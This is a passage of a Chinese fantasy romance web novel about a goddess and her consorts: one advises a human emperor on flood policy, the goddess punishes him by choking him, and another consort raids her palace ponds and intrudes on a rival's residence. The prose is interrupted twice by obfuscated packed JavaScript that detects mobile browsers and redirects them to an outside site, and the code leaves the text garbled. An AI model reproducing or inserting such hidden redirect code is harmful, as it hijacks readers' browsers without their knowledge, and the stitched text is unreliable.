不多时,一盏清茶奉上。 青瓷茶盏中,碧绿的茶汤清澈透亮,在热水中缓缓沉浮,茶还很烫,一时无法下口,池瞳并未施法使茶水变凉,而是用掌拖着下巴,盯着那蒸腾的热气发呆。 对人界,池瞳一向是不插手的,除非有特别严重的事,才会亲自下场引导,云渡身为上神,自当如此。 六界各有其道,各有其序,神祇若随意干涉人间因果,轻则扰乱秩序,重则引动天罚。数万年前,仙界之人因私心插手人间王朝更迭,被天道罚得极惨。 自那以后,神界对人间之事,更是避之不及。 而云渡来人间渡的是情劫,若他存心不过此劫,自当远离朝堂,远离人皇,远离一切可能沾染因果的是非之地,找个僻静之处,相妻教女,安安稳稳度过这数十年光阴,方是正道。 池瞳很清楚云渡的能力,以他的心智手段,若真不想做某件事,即便人皇以权势相逼,他也自有千百种方法推拒。 可云渡非但未远离,反而逆流而上,冲破重重阻碍与世俗偏见,以男子之身入了朝堂。 在神界,云渡确实好学,终日沉迷于修道,修为精进之快,令无数老牌神祇汗颜,可她倒不知来到人界后,他仍想要拔得头筹。 池瞳垂眸,看着茶盏中渐渐平静的茶汤,热气已散了大半,茶温正好。 小侍沏好茶后,便拿起扫帚在院中清扫,也不知过了多久,等他再抬头望向树下,却发现只余一盏凉茶。 仿佛从未有人来过。 “咦?怎么又消失了?” - 景仁殿内,一片嘈杂之相,池瞳隐匿身形,悄然出现在大殿一角,她双臂环胸倚在雕龙画凤的廊柱旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那也不能坐视赋税空虚!国库若空,边关将士粮饷何来?朝廷运转何以为继?” “......” 争吵声越来越大,越来越激烈,文官引经据典,武官拍案而起,年老的涕泪横流,年轻的愤慨激昂。殿内温度因这激烈的争执而骤然升高,连空气都变得黏稠燥热,仿佛下一秒就要打起来。 “够了。”龙椅上,人皇终于开口。 殿内瞬间安静下来,文武百官齐齐噤声,期待着陛下做出英明神武的决断。 在一众朝臣期待的目光注视下,人皇飞速扫视了一圈红袍,最后缓缓落在边上不起眼的蓝袍身上,然后,“国师,你怎么看?” 角落里的池瞳眉心重重一跳,紫眸骤然变暗,冷冷地盯着那道清冷的身形出列,对着龙椅躬身一礼,心中一直压着的火瞬间破势而出。 20. 第二十章 “臣以为,病根不在天时,而在人事。” 清冷温润的声音响起,掀起一阵波涛,那些早就看不惯云渡以男子之身参政的朝臣,仿佛终于抓到了把柄,纷纷跳出来开骂。 “一个小小男子,倒是什么狂言都能说出口!” “不在天时?呵,亏他还身为国师!合着是自己摸不透天象,就开始怪起人来了?真是信口开河,贻笑大方!” “要我说他一个国师,就该老老实实待在后宫观天象,测吉凶!这些关乎国计民生的大事,岂是他一个男子能置喙的?!” “......” 云渡听到这些话不仅不恼,反而温和的等待她们讽刺完,等那些声音渐渐低了,渐渐停了,才继续开口: “各地水坝年久失修,形同虚设。沟渠淤塞,如人肠梗阻,雨水稍大则溃堤成灾,稍小则干涸见底。” 他顿了顿,目光缓缓扫过那些脸色各异的朝臣,“泥土握之成粉,浇水立溃,这样的土地,这样的水利,即便天降甘霖,又能存住几分?” “若今日只议赈济,不修根本,则明年今日,后年今日,我们依旧要站在这里商议同样的灾情,争论同样的对策。” 话音落下,大殿陷入一片死寂。 唯有殿外知了声嘶力竭的长鸣,穿透厚重的宫墙,一声接一声在闷热的空气中回荡。 许久。 久到连那聒噪的蝉鸣都显得格外刺耳,才听见底下有人小声嘀咕:“这话,确有几分道理。” 声音很低,却像投入平静湖面的石子,激起层层涟漪。 “是啊,光赈济不修堤,终究是治标不治本。” “去年沅江决堤,前年黄河改道,哪一次不是因堤防失修?” “可修堤要银子,要人力,要时间,如今国库空虚,又从何谈起?” 质疑声渐渐弱了,取而代之的是窃窃私语的讨论,终于,有人忍不住问: “国师可是已有主意?” 众臣的目光齐刷刷的投向云渡。 期待,探究,怀疑,不甘,种种情绪交织成一张无形的网,云渡迎上那些目光,神色依旧淡然。 云渡迎上人皇的目光,缓缓开口,声音不大,却压住了所有私语:“臣有三策。” “其一,即刻自内帑拨银八十万两,命工部尚书沈墨总领三省河道清淤固堤之事,限期三月,务必在秋汛前完工。” “其二,今岁受灾七郡,免赋五成,开常平仓,按丁口借种,助百姓补种荞麦,以度荒年。” “其三——” 他目光扫过众臣,“六部五品以上官员,明日起轮值至京郊皇田,躬身体验何为‘粒粒皆辛苦’。” 此话一出,又引来一阵热议。 他这话属实不当,几乎是以陛下的口吻在发号施令,可奇怪的是,朝臣们却如找到了主心骨,并无觉得有何不妥,仿佛在事实与逻辑面前,那些关于女男尊卑,阴阳秩序的争执都变得苍白无力。 就连人皇也未曾觉得自己被小小男子骑上一头,随即就一语敲定:“就按国师说得做。” 若云渡肯在其间放下身段回头,便能捕捉到角落里静立的,自己日思夜想的妻主,正用骇人的眼神盯着他。 大殿角落的阴影深处,池瞳静静站着,将刚才那一切尽收眼底,从云渡出列,到朝臣围攻,到他从容应对,再到人皇拍板定案。 每一步,每一句话,每一个眼神她都看得清清楚楚。 池瞳缓缓闭上眼,再睁开时,眸中已是一片骇人的深紫。 池瞳一直觉得云渡是个极其聪慧之人,至少在今日之前,都这样认为。 他不像俞星阑那样,过分执着的在自己面前去表现,试图用才华,用能力,用一切手段去吸引她的注意,证明自己的“价值”。 他也不像暮仙居的那位,过分施展柔弱,用眼泪,用病态,用楚楚可怜的姿态乞讨她的怜惜与垂怜。 更不像墨璃,单纯到愚蠢。 云渡身上有他引以为傲的资本,他的资慧在神界也无人质疑,所以在面对自己时,总能保持恰到好处的距离,亲近却不逾越,依赖却不卑微。 他不会去使些小心机来博得她的关注,也更有分寸,人界就是人界,在人界如何缠绵,如何爱的难舍难分,回到天上,他依旧是那个与山海主并无交集的云渡上神。 即使是经历两世情缘,他依旧能在众神众妖面前,克制住自己的情绪,与她擦肩而过时微微颔首,礼貌而疏离,甚至连她身侧的俞星阑,他也能相谈甚欢,仿佛是真的百年难遇的知己。 所以这也是为何,当云渡跪在她面前哭着乞求“再陪我一次”时,她会毫不犹豫地抛下山海殿里的墨璃,留下来陪他。 因为云渡足够懂事,不会让她为难。 可就在今天,就在刚才,池瞳忽然发现自己好像错了。 云渡站在朝堂上,面对满殿朝臣的质疑和攻击,从容不迫,掌控着全局,几乎是在代天子行令。 难道他不知道插手人间因果过深,会引来天道注视,增加渡劫失败后的惩罚吗? 若是按照人界的时间法则,她跟云渡在一起的时间算得上格外多了,至少在天界,即使是陪伴几百年,几千年的俞星阑和暮仙居那位,池瞳也不会日日伴在身侧,细算起来,真正在一起的时间不比云渡多,更不必说那些仅有露水情缘的男子了。 所以池瞳一时想不通云渡这样做的意义,只因这一世过后两人再无交集,所以才要这样给自己找麻烦? 倒是池瞳从始至终都忽略了,无论云渡表现得再好,可他到底是个男人。 在人界历劫太久,他的身上开始有人情味了,他开始嫉妒,开始生出些不合时宜的念头,不再是那个神界温润慈悲,无欲无求的云渡上神了。 散朝后,人皇将云渡留了下来,云渡躬身应下,站在殿中,等待吩咐。 朝臣们鱼贯而出,绯红绛紫的官袍如潮水般退去,偌大的景仁殿渐渐空荡。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282836|197753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就在人群即将散尽之时,云渡忽然心有所感,蓦地转过身,望向殿门外。 阳光刺目,官袍耀眼,在那一片流动的色彩中,他仿佛看见了一道熟悉的光影。 那抹白色光影立在廊柱的阴影里,静静望着他。 是她吗? 云渡瞳孔微缩,下意识上前一步,想看得更清楚些,可就在这时,那道光影消失了,仿佛只是阳光透过窗棂投下的一抹错觉。 云渡怔在原地,许久才收回视线,垂下头,盯着脚下光洁如镜的石砖。 说不出是失落还是别的什么。 他的一举一动都被人皇看在眼里,自然也能猜到他那患得患失的模样是为了谁。 这半年来,云渡总是如此。批阅奏折时会忽然停下笔,望向窗外某个方向久久不动,议事时会忽然走神,眼神飘忽,不知落在何处,甚至在御花园散步时,也会对着某株花,某棵树发呆,仿佛在等什么人。 人皇起初觉得奇怪,皇宫禁苑守卫森严,岂是寻常人能随意进出的?云渡再思念那人,也不该在皇宫里认错人。 可她没有说出口,因为她能感觉到云渡变了。虽然表面上依旧清冷疏离,处理政务依旧井井有条,可身上那股曾经让她欣赏的坚韧清傲的劲儿好像不见了,取而代之的是一种说不清道不明的柔弱。 与初见时那个孤高如鹤,不染尘埃的云渡仙师已完全不同。 人皇轻轻叹了口气,原本准备好的奖赏,推心置腹,试图拉近关系的话语全吞了回去,直到殿内空荡的有些寂静,殿外的燥热一波接一波掀来,她才摆摆手,声音有些疲惫:“算了,等此事解决后再说,你先回去吧。” 云渡低声应了应。 殿外,烈日当空,他走出殿,便有宫侍为他执伞遮阳,云渡却抬了抬手,示意不必。 他抬起头望向天空,正午的太阳刺目得让人不敢直视,光线如千万根金针扎进眼里,痛得他瞬间涌出泪水。 可云渡没有移开视线,他就这样仰着头怔怔地望着那刺眼的一团,心中涌起一股莫名的不安。 妻主怎么还不回来?莫非是上面出了什么事? 还是说......她不想回来了。 这个念头如毒蛇般钻进心里,撕咬着理智,云渡猛地闭上眼,眼睛直视太阳过久,头脑有些发懵。 他深吸一口气,强迫自己冷静下来。 不会的,她答应过自己会回来的。 她说过让他等她。 想归想,云渡再睁眼时,眸底已是一片赤红,他缓缓低下头,躲开那刺眼的太阳,指尖轻轻按了按刺痛的眉心。 然后一步步朝着宫门方向走去。 池瞳目送着那道单薄的背影,忽然觉得可笑,她知道云渡看见了她,也知道他眉头紧锁的不安是为何,可越是知道,越是不能明白,究竟有什么不可告人的秘密,或是难以启齿的理由,值得云渡上神这样去做。 神仙下凡历劫不喝孟婆汤这事,真是要好好管管了。 21、第二十一章 “主子,您怎么回来了?” 木门被“吱呀”一声推开,院外炽烈的阳光猛地灌进来,刺得小侍不自觉地眯起眼,他慌忙放下手中的水瓢,跑到门边,望着那道逆光而立,略显单薄的蓝色身影,眼中满是惊讶。 云渡看着空荡荡,仿若没有人来过的院子,为自己的冲动感到一阵懊恼。 他深吸一口气,强迫自己冷静下来,声音尽量平稳:“找人替我值班,便回来得早些。” 小侍听完,恍然大悟,以为是女人去找自家主子了,才会提前回来,随即探出头,在云渡身边左看看,右看看,又朝院外张望了几眼,却没发现有其他人在。 云渡:“怎么了?” 小侍当即答道:“主子,她没去找您吗?”他还以为女人突然消失是去宫中寻主子了,谁知竟不是,这个渣女! 她? 池瞳来过?! 云渡表情有一瞬的空白,霎时理智全无,声音微微颤抖:“你说......她今天回来了?” “对啊,”小侍点头,语气里带着几分不满,“主子您去上朝的时候来的,不过坐了一会儿问了问您在哪,就又走了,连我沏好的茶都没喝一口......” 他顿了顿,小声嘀咕:“我还以为是去找您了。” 上朝...... 云渡脑海中瞬间闪过今日朝堂上的种种,那些争执,那些质疑,那些他侃侃而谈的场面,还有那抹在殿门外一闪而过的光影。 莫非池瞳真的去找他了? 云渡猛地转身,目光急切地在院中搜寻,树影,石径,花丛,屋檐......每一处角落,每一寸阴影都不放过。 可没有。 没有那道白色的身影,没有那双紫色的眼眸,没有那股熟悉的气息,什么都没有。 不对。 云渡缓缓摇头。 若是池瞳真的在他身边,绝不会刻意藏匿身形,不让他察觉,这不是她的作风。 她若想见,便会大大方方地出现,若不想,便会不留丝毫痕迹。 那么......她究竟去了哪里?又为何来了又走? 云渡只觉得头痛欲裂,惶恐,不安,害怕尽数涌上心头。 他只能强撑着身子,低声吩咐:“你先退下吧,主院无论发生何种动静......都不要过来。” 小侍一怔:“主子......” 回到屋内,并没有那人的气息,她没进来过,云渡撑着桌案,闭上眼,细细地喘着气。 待气息均匀后,才缓缓走到屋内最显眼的地方跪下。 她回来又走,是生气了吗?还是失望了?因为他插手人间政务,干涉因果。还是因为......别的什么? 无数个念头在脑海中翻腾,搅得他心神不宁。 时间过得很慢,每一秒仿佛都在折磨他的神经,窗外的烈阳缓缓下移,直至清越的光辉洒在案前,云渡跪的全身发麻,每一次细微的挪动都像有千万只蚂蚁啃噬,痛得他浑身颤抖,险些支撑不住,向前栽倒。 他咬了咬唇瓣,用力掐了一下大腿,又挺直了腰板,跪着。 尖锐的疼痛让混沌的思绪清醒了些。 池瞳是傍晚时分回来的,她去了朝堂上热议的几个地方逛了一圈,确认没有妖物作祟和外力干扰,一切都是人间自然灾祸和因果循环后,才回到云渡住处。 甫一现身,便看见了跪在屋内的那道蓝色身影。 她挑眉,这是察觉到自己来了?又或是小侍告诉了他,自己来过。 池瞳觉得云渡聪明不是假话,要换作旁人,定会想不到自己闲心大发去看他上朝,即使猜出了,也只会揣着糊涂当明白,或是搜罗一大堆贴心软语,试图将此事轻轻揭过。 池瞳心情好,自会不追究,待等到最后东窗事发,再将事和人都一并解决。 可云渡偏偏选了最直接,最危险的方式,一种近乎自虐的姿态向她请罪,眼下这般,显然是跪了一下午,且滴水未进,当下酷暑,唇瓣早已干裂。 放往常,确实能激起池瞳的想法,可今时不同往日,池瞳并未留情。 “妻主......” 云渡抬眼,只见门檐阴影下站着一道熟悉的身影,但往常清透的紫眸却浓得快要与黑暗融为一体,她似笑非笑地盯着他,犹如地府里的恶鬼。 他心猛地揪紧,下一秒,身躯便被一股无形的的力量给压住,云渡闷哼一声,整个人不受控制地向前倾倒,可就在即将触地的瞬间,脖颈一凉,一只微凉的手掌凭空出现,死死扼住了他的咽喉,激得周围皮肤泛起一阵疙瘩,恐怖的窒息感从喉间传来。 喉咙被勒得生疼,呼吸也被彻底截断,霎时间血液涌上脸颊,眼前开始阵阵发黑,耳中嗡嗡作响。 云渡没有挣扎,他只是艰难地抬起眼,看向池瞳。 云渡不怕在这里死,但却怕被池瞳杀死。 那双紫眸里仿若淬了冰,在这酷暑里格外寒冷。 “云渡,你好大的胆子。”池瞳道。 云渡苦笑,即使喉咙被勒得喘不过气,身体不断发抖,周围皮肤迅速泛起青紫的血管,如蛛网般蔓延,狰狞可怖,神情也依旧坦然,“妻主,您看见了,对吗?” 那双总是清冷的眸子此刻盛满了泪,问:“您相信我吗?” 即使这世上所有人都会背叛你,我也不会。 他说这话时气息已经微弱,恐怕没过多久就会咽气,池瞳缓缓松开手,嘲讽道:“云渡,你算什么?” 池瞳的指尖挑起他的下巴,迫使他与自己对视:“凭什么觉得我会信你?”那紫眸深处一片漠然。 不过是她手底下的一个小玩意,有身份加持,才显得比旁人更加有趣些,凭什么会觉得她们之间能有信任可言? 池瞳这话无疑是往云渡心口上剜,他嘴唇发颤,没了池瞳灵力的支撑整个人软倒在地,一头青丝凌乱地披散在肩侧,衣衫被汗水浸透,紧贴在身上,勾勒出单薄瘦削的轮廓,狼狈不堪。 这哪里是神界风光霁月的云渡上神? 他痛不欲生的样子令池瞳不解,一个企图背叛之人,又在用这仅剩的良心悲悯什么? 云渡手掌扶地,艰难地抬起头,看向池瞳。那双总是平静的眸子里此刻翻涌着复杂的情绪,痛苦,绝望,不甘,“妻主,若是俞星阑,你是不是就会相信?” 池瞳:“......” 池瞳蹲下身,去碰那沾满泪水的脸颊,轻轻拭去眼角又溢出的泪,她微妙地叹了口气:“渡儿。” 声音很轻,却让云渡浑身一僵。 “我不知你有什么计划,也不愿去猜,可是云渡,我只看结果,不管你中间有什么苦衷。” 她顿了顿,指尖轻轻摩挲着他干裂的唇瓣,声音放柔了些: “纵然有千般苦衷,万般难处,有妻主撑腰,为何还要自己去做?”话音未落,语气骤然转冷,“若你过多地插手人界之事,改变其因果命数,我不敢保证会不会就在此地封你修为,即刻回神界,天雷一下,你就会被打下仙界,成为废仙。” “你也在仙界呆过数百年,知道身为男子,废仙的下场。” 她的话温柔又冷漠,云渡一下午未曾进水,眼眶早已流不出泪了,他浑身无力,明明是八月酷暑,却觉得如坠冰窟,冷得透彻心扉。 他想问池瞳爱过他吗,又不敢知道答案。 若是爱,怎会说出这般理性又无情的话?怎会狠下心封他修为送去接天雷?怎会容忍他成为废仙? 可若是不爱...... 额头被轻轻吻了一下,冰凉的身体被揽进温暖的怀中,他能清晰地感受,一张温热的手掌在慢慢抚着自己的背。 山海主体质特殊,常年冰冷。 这是池瞳用了灵力在安抚他。 云渡怔怔地抬起头,正对上池瞳那双不知何时已恢复清透的紫眸,平静地看着他。 “渡儿,你知道的,我是山海主。” 她是山海主,掌管世间一切,所以云渡若扰乱人界因果,带来不可估量的后果,最后收拾这烂摊子的,还是池瞳。 云渡这做法,又如何对得起与山海主耳鬓厮磨的日日夜夜,又如何对得起山海主给予的爱与怜悯? 云渡闭上眼,泪水顺着脸颊滑落,他伸出手紧紧抓住池瞳的衣襟,像溺水的人抓住最后一根浮木,然后将脸深深埋进她怀里,无声地哭了。 他本以为,曾经渡过的神劫已让他道心稳固,可竟不知,这情劫如此难熬。 为何偏偏要让两个相爱之人互生猜忌,产生误会,为何几句话就能解释,偏偏却落到有口难言,这种话到嘴边却说不出口的感受,实在太痛苦了。 兄长说得没错,有些事情并不是解释就能解释清楚的。 云渡只觉得心口好痛,撕扯着他的全身,妻主的爱抚就像是一把刀一样,尖锐地刺向他所有理智,他想说些什么,可又不知从何处讲起。 最后千言万语,只化成徒劳的一句: “妻主,渡儿此生......绝不会背叛你。”【】 22、第二十二章 “祖宗,你行行好,别再逮了!再逮下去这绿海里的灵鱼仙鲛都要被你霍霍完了!”辛月指着绿海里明显稀疏了不少的鱼群,痛心疾首道。 墨璃放下捕妖网,闻言扭过头,生气道:“辛月,你管这么多干嘛?这又不是你家,这是池瞳的家,也就是我家!我想怎么逮就怎么逮!池瞳走前说了,这里的一切我都能玩!” 说着,他晃了晃手中沉甸甸的渔网,里面三条形态各异的灵鱼正扑腾挣扎:“又没吃你家鱼,你急什么?” 辛月深吸一口气,闭上眼睛在心里告诫自己,这兔崽子留下来还对大人有用,千万、千万、千万别失手杀了。 念了三遍,她才勉强压下那股想把墨璃连人带网一起扔进绿海最深处的冲动。 这墨璃不是来克池瞳的,分明是来克她的! 池瞳离开山海殿第一天,墨璃还老老实实地躺在床上补觉,大约是前夜被整治狠了。 辛月于是只远远守在殿外,只偶尔用神识探查一下他的气息,确认人还活着就行。 谁知第二天这祖宗就“活”过来了。不仅活过来了,还活力四射,精神焕发,像只刚出笼的鸟儿,迫不及待要探索新天地。 他先从主殿开始,一寸一寸地巡视自己的“领地”,摸摸这个玉雕,碰碰那个金器,掀掀帘幔,敲敲柱子,所过之处,叮当作响,金光乱闪,一副逛家产的主人感,势必要把自己的地盘给盘清楚。 辛月起初还耐着性子跟着,生怕他碰了什么不该碰的,或是误入了什么禁地,直到某次墨璃逛着逛着,不知不觉走到了一处僻静的回廊。 回廊尽头,是一座清幽雅致的殿宇,白墙灰瓦,竹影婆娑,与山海殿其他地方的奢华风格截然不同。 殿门虚掩,隐约有琴声传来。 辛月脸色骤变。 怎么走着走着,走到暮仙居了? 她一个闪身拦在墨璃面前,声音难得的严厉:“这里不能进。” 墨璃正听得入神,被她一拦,有些不悦:“为什么?池瞳说了,整个殿宇我都能去!” 辛月头皮发麻,总不能直说“里面住着大人的爱宠,你俩最好别见面”吧? 情急之下,她灵机一动:“那个......你想不想钓鱼?” 墨璃眼睛一亮:“钓鱼?哪里能钓?” 辛月指着远处的绿海环池:“那里!里面全是大人从六界搜罗来的珍稀灵鱼!有些还会说话呢!” 墨璃果然被吸引了注意力,他最后瞥了一眼暮仙居紧闭的殿门,撇撇嘴:“好吧,那先去钓鱼。” 辛月暗暗松了口气,钓鱼总比见暮仙居那位强。 墨璃这祖宗,忮忌心强性子又直,若是将那人伤出个好歹,她不敢想池瞳会怎样生气,罚墨璃禁闭多久。 可她终究是失算了。 绿海里的鱼,哪是那么好钓的?那些灵鱼仙鲛,个个活了成千上万年,早已通灵,寻常鱼竿鱼饵,它们连看都不看一眼。 墨璃坐在池边,举着辛月找来的“普通”鱼竿,守了整整两个时辰,浮漂纹丝不动,一条都没钓上来。 “没意思!”墨璃把鱼竿一扔,气鼓鼓地站起来,“这些鱼成精了!根本不上钩!” 辛月心里暗笑,面上却故作严肃:“那要不......咱换个玩法?” 她以为墨璃会就此放弃,可她忘了,这祖宗骨子里有一股不达目的不罢休的倔劲。 更忘了山海殿里还有一座藏宝阁,里面收着池瞳数百万年来积攒的各式宝物,法器、灵丹、秘籍应有尽有。 当然,也包括各种“捕鱼工具”。 于是,半个时辰后,辛月眼睁睁看着墨璃从藏宝阁里,扛出来一张金光闪闪、符文流转的捕妖网。 辛月两眼一黑,不知该庆幸他拿的是捕妖网,而不是威力更大的缚仙网,还是该庆幸墨璃从那价值连界的藏宝阁里挑了个最没用的东西。 可这没用的东西,对付绿海中的鱼却是绰绰有余。 有了这张捕妖网,墨璃立刻大显身手,一天少则两条,多则三五条,专挑那些长得稀奇古怪,看起来就“好吃”的下手。 更要命的是,他还吩咐傀儡人,“这条红烧,这条炖汤,这条清蒸......” 辛月简直要崩溃了,绿海里面全是池瞳捉来的山海中有名有姓的鱼,其价值不可估量,不少神和妖来求一只,都要附上丰厚的条件和交换物。 这些鱼不是鱼,对一些人来说,更是续命的宝物! 早知如此,她还不如请命去饥荒之地种树,也好过眼睁睁地看着这些东西成为墨璃的盘中餐。 她尝试心平气和地讲道理:“这条是文鳐鱼,治疯癫的,你又不疯又不癫,吃它干嘛?” 墨璃歪着头,打量那条挣扎的鱼,认真思考:“可是这只半鱼半鸟,烤起来的翅膀定十分美味!” 辛月:“......” 辛月指向另一条:“那这只放了,这只是如鱼(上如下鱼,读ru)魮(pi),也是半鱼半鸟,是鲛人族的圣物,三百年才产一卵。” 墨璃眨了眨眼,不肯放:“这只能吐珍珠,如果炖汤喝,就是珍珠汤了!我还没喝过珍珠汤呢!” 辛月默默闭上眼。 累了,毁灭吧。 她放弃挣扎,做最后一点努力,“两只够你吃了吧?另一只总能放了吧。” “放放放!”这次墨璃乖乖放了,只因另一只是鮨(yi)鱼,长着鱼的身子和尾巴,却长着一颗狗脑袋,长在了墨璃的审丑点上。 “长得太丑了,看着就没食欲。” 辛月看着那条逃过一劫的鮨鱼,心中百感交集,就这样吧,能保一只是一只,她也算是尽力了。 就是不知池瞳回来后是何表情。 吃了两三顿全鱼宴,墨璃便吃腻了,于是开始又一番折腾,只捕不吃,捕完之后玩一会儿,戳戳鳞片,扯扯鱼鳍,听听它们的惨叫,再扔回去,美名其曰“放生”。 几天下来,整个绿海都弥漫着淡淡的无语和微死气息。 鱼群看见墨璃的影子就四散奔逃,水面翻涌,波纹凌乱,连池水的碧色都黯淡了几分。 辛月看着这一幕,心力交瘁。 “池瞳怎么还不回来——”墨璃躺在绿海旁的金殿帐幔下,呈大字状,仰天长啸。 离他八丈远的辛月也靠在雕着飞碟的金柱下叹气,一同在心里哀叫。 主上啊,您到底什么时候回来? 再这么下去,六界的灵鱼真要绝种了。 云渡也是!不赶紧历劫回来,在人界待很爽吗?既没有法力,又不好玩,做什么都要亲历亲为。 两个人都有病,在人界装作普通妻夫,很有趣吗?? 辛月现在完全是将在墨璃身上受的憋屈怪到了云渡身上,最后又怪到这该死的爱情上。 她当初修无情道,就是讨厌死了这些唧唧歪歪的臭情侣! 还不等她在心里吐槽完,墨璃一个鲤鱼打挺,从地上蹦了起来,丢掉了手中的捕妖网,广袖一挥,身上那件沾了鱼腥味的普通衣袍瞬间换成了一套极其华丽的衣裳。 那是池瞳为他定制的数套华服之一。 以金线织就的云锦为底,上面用七彩丝线绣出繁复的缠枝莲纹。衣襟、袖口、下摆,缀满了细小的金铃与玉片,行动间叮铃作响,清脆悦耳,如风过檐铃。 墨璃特别喜欢这套衣裳,但因为这几天都在绿海边摸鱼打滚,怕弄脏弄坏,他一直没舍得穿,现在他玩腻了,便立刻换上了心爱的衣裳。 他站在池边,对着水面照了照。 金衣璀璨,衬得他肤白如玉,墨璃满意地点点头。 可惜池瞳看不到自己穿这衣裳的样子,真是没有眼福!不过没关系,他现在就去找一处好看的地方,用通灵镜传给池瞳看! 自己的妻主自己宠! 想到这儿,墨璃更来劲了,他转头对辛月挥挥手,“你就待在这儿休息吧,不用跟着我!” 辛月有气无力地摆摆手,去吧去吧,他现在求着她跟她也不会再跟了,左右墨璃也出不了山海殿,整不了什么幺蛾子。 爱去哪儿去哪儿吧。 没了辛月的管束,墨璃彻底放飞了自我,他直接腾空而起,悬浮在半空,俯瞰整个山海殿,扫视一圈,看准了一处殿宇就往那处飞去。 他记性很好的,之前想去那处被辛月给挡下了,当即就好奇了起来,秉承着你越不让我去,我越去的叛逆基因,他折腾了辛月好些天,终于迎来了难得的自由。 他飞至殿外,四下扫视了一圈,心道果真没来错,这里定隐藏着什么秘密。 殿外竹林轻扬,与其他殿宇的奢华风格截然不同。 尤其是......这里的灵力充沛得骇人! 墨璃刚落地就能感受到一股由内而外的灵力,如潮水般从殿内涌出,浸润四肢百骸,越靠近殿门,那股灵力越强。 他立在门前,抬头望向正上方的匾额,上面字迹清秀,不像是池瞳的风格。 “暮仙居。”墨璃轻声念出。【】 23、第二十三章 他抬手欲推开门,掌心却触到一道柔韧的无形屏障,阻力温和却不容撼动。墨璃收回手,眨眨眼,在门前踱了两步,指尖无意识地摩挲着门上精致的浮雕纹路。 暮仙居暮仙居,这里或许有小仙在! 他清了清嗓子,朝门内扬声道:“里面有仙吗——?” 过了几秒,没有回应。 那便是没仙,这就好办了。 他将食指放入口中,咬出了豆大的血珠,血珠浮现的刹那,周身浅金色的禁文瞬间立起,在他身外织成了一道光晕,围绕一圈将墨璃保护了起来。 覆着血痕的指尖再次触上门扉,这一回,那层无形的屏障如水波般漾开,沉重的大门无声地向内滑开一道缝隙,一股清冷幽香随之逸出,夹杂着灵花与湿润水汽的味道。 墨璃正要探头,凛冽剑气破空而至! “何人?!” 那剑光来得极快,如一道银色闪电,直取心口,墨璃呼吸一滞,虽知有禁文相护,身体仍本能地绷紧,连后退都忘了。 剑锋触及光晕的瞬间,并未发出金铁交击之声,反倒像刺入了一片虚无,不过一息,那柄看似不凡的长剑竟寸寸消融,化作无数细碎的光尘飘散在空气中。 墨璃小心地抚着胸口,第一次生出劫后余生的感觉,同时,又在心里对池瞳更加崇拜了。 他家妻主真的好厉害!不知道能不能打过母君。 墨璃边想,边朝里去,他这段时日被辛月纵容惯了,把山海殿当自己家一样逛,所以并未觉得这是进了别人的地盘。 “有人啊?那为何我在外面喊却没人应?”他不知这里隔绝了外处,自然也听不到外界的声音,不满地走了进来。 话音未落,眼前的景象让他彻底惊呆了,直直地立在原地去看。 这里哪是普通殿宇?简直就是仙境,是那种......他有些词穷,描述不出此刻的场景。 入目是漫无边际的灵花浅海,并非凡间花卉的模样,花瓣近乎透明,粉白渐变,层层叠叠,一直蔓延到视野尽头。每一片花瓣上都浮动着星子般的灵力微光,随着微风轻轻摇曳,似梦似幻。 花海深处有一条蜿蜒的蓝湖,湖面宽广,静若明镜,靠近湖岸处,几株从未见过的树木枝叶间垂落着淡蓝色的气根,丝丝缕缕,浸入水中,随波轻荡。 空气中流淌着清甜又纯净的灵气,比他在山海殿其他地方感受到的都要浓郁。 正当他出神之际,一道青色身影倏然拦在眼前,挡住大半视线,他用剑指着墨璃,眼里满是杀意,“你是何人?如何闯进来的?” 墨璃正要生气,还没摆出架势,就听后方出现一道温柔的嗓音,“施屏,不得无礼。” 声音不高,却自有分量,持剑的青衣男子闻言眉头微蹙,却还是依言收剑入鞘,只是身体仍挡在墨璃前方,戒备未减。 墨璃寻声望去,终于在一处拐角廊下看清了这道声音的主人。 那人一身淡粉衣衫,料子看似普通,却在微光下泛着珍珠般柔和的色泽,宽袖垂落,素净无饰,最引人注目的是他的一头白发,不是那种苍老衰败的灰白,而是如月华流泻,未绾未系,只随意披散在肩后,几缕发丝滑落胸前,衬得一张面容清雅出尘。 他眉色淡淡,眼眸是浅褐色的,此刻正平静地望过来,仿佛水墨画卷中走出的仙君,带着远离尘嚣的静谧。 这还是墨璃第一次在山海殿见到别的男人,还是这般好看的男人,一时有些激动,不顾施屏阻拦,身形一转,直接飞到了男人面前。 他亮晶晶的眼睛一眨不眨地盯着男人,露出洁白的牙齿笑着介绍自己:“你好,我是墨璃。” 男人并未立即回应,他的目光先是落在墨璃满是活力的脸上,停留一瞬,随即微微下移,静静落在他周身尚未完全消失的金色禁文上。 “啊,这个呀,”墨璃顺着他的视线低头,恍然举起那根还出着血的食指,以为他好奇,“这是我妻主给我下的禁文,是保护我的,你不要害怕。”说着,墨璃将渗着血的食指放在舌尖舔了下,伤口瞬间消失,食指恢复光滑,禁文也跟着慢慢消失了。 在他飞过来的同时,施屏也跟了过来,此刻听到他的话,脸色微变。 这是山海主的禁文,很好认,那他口中的妻主,便是山海主。 看样子,应是最近十分得宠,连禁文都有了。 近日殿中确有所闻,说大人从外带回一位男子,住在主殿,颇为宠爱,施屏只当是大人的一时兴起,却不想竟宠到连禁文都予了。 此人突然闯入暮仙居,是知晓了自家主子的存在,故意来找事的?他忧心地看向奚瑶,却见自家主子神情依旧宁和,仿佛只是见了一位寻常访客。 